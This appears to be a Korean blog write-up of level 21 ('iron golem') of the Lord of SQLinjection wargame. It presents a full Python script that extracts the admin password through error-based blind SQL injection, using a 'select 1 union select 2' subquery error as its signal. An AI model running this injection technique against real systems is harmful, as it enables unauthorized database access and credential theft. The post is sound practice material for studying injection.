LJ

Lord of SQLinjection ( 21번 ) iron golem 본문

IT 보안/보안첼린지

Lord of SQLinjection ( 21번 ) iron golem

짱준재 2024. 7. 5. 14:13

 

 

 

 

 

chatgpt

 

 

 

 

21번 문제인 iron golem 이다.

 

 

 

 

 

일단 hello 문구가 사라졌다...

 

 

그치만 '(싱글쿼터)를 넣었을 때 에러가 발생하는 것을 봐서는 에러를 통해 암호를 정확하게 맞춰야 해결이 될거같다.

 

 

 

쿼리에 맞는 python 코드를 작성한다.

import requests
from prettytable import PrettyTable

address = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
cookie={'PHPSESSID':'qc4tt4p1ren887gr3v5jf5lcvm'}

def pw_length():
	for i in range(30,50):
		URL = address + "?pw='or id='admin' and if(length(pw)=" + str(i) +",(select 1 union select 2),1)%23"
		res = requests.get(URL, cookies=cookie)//HTTP GET 요청
		if 'Subquery' in (res.text):
			print("비밀번호의 길이는 " + str(i) +"입니다")
			return i
			break

		else:
			print( str(i)+"*********")
            
            
def pw_get(length):
    x=PrettyTable()//PrettyTable 객체를 생성
    x.field_names = ["password"] //표의 열 이름을 설정
    pw=""
    print(x)
    for i in range(1, length+1):
        for j in range(1,127):
            URL = address+"?pw='or if(ord(substr(pw,"+str(i)+",1))="+str(j)+",(select 1 union select 2),1)%23"
       //SQL 인젝션 페이로드를 생성한다. substr(pw, i, 1)은 비밀번호의 i번째 문자를 추출하고, 
       //ord()는 그 문자의 ASCII 코드를 반환
            res = requests.get(URL,cookies=cookie)
            if 'Subquery' in (res.text)://응답에 'Subquery'가 포함되어 있으면, 추측한 문자가 비밀번호의 일부임을 확인
                pw=pw +chr(j)
                print(x)
                x.add_row([pw])//표에 새로운 비밀번호를 추가
                break
    print(x)

length=pw_length()
pw_get(length)

 

PrettyTable: 표 형태로 데이터를 출력하기 위해 사용

 

 

 

 

결과를 기다리는데 상당한 시간이 걸리므로 

 

기다려야 한다.

 

 

 

 

 

 

※ Key pooint

- if(condition, true_part, false_part): 조건이 참이면 true_part를 실행하고, 거짓이면 false_part를 실행

- 에러 발생시키는 방법

  • Union 기반 에러 유발: UNION을 통해 서로 다른 열의 수를 가진 결과를 결합하여 오류를 발생시키는 방법
  • 타입 불일치 에러 유발: 잘못된 데이터 타입을 강제로 삽입하여 오류를 유발하는 방법
  • 함수 호출을 통한 에러 유발: 존재하지 않는 함수를 호출하거나 잘못된 함수를 사용하여 오류를 유발하는 방법

 

( ord(substr(pw, i, 1)) = j가 참일 때 select 1 union select 2가 실행되어 두 개의 행을 반환하면 오류가 발생 )

Comments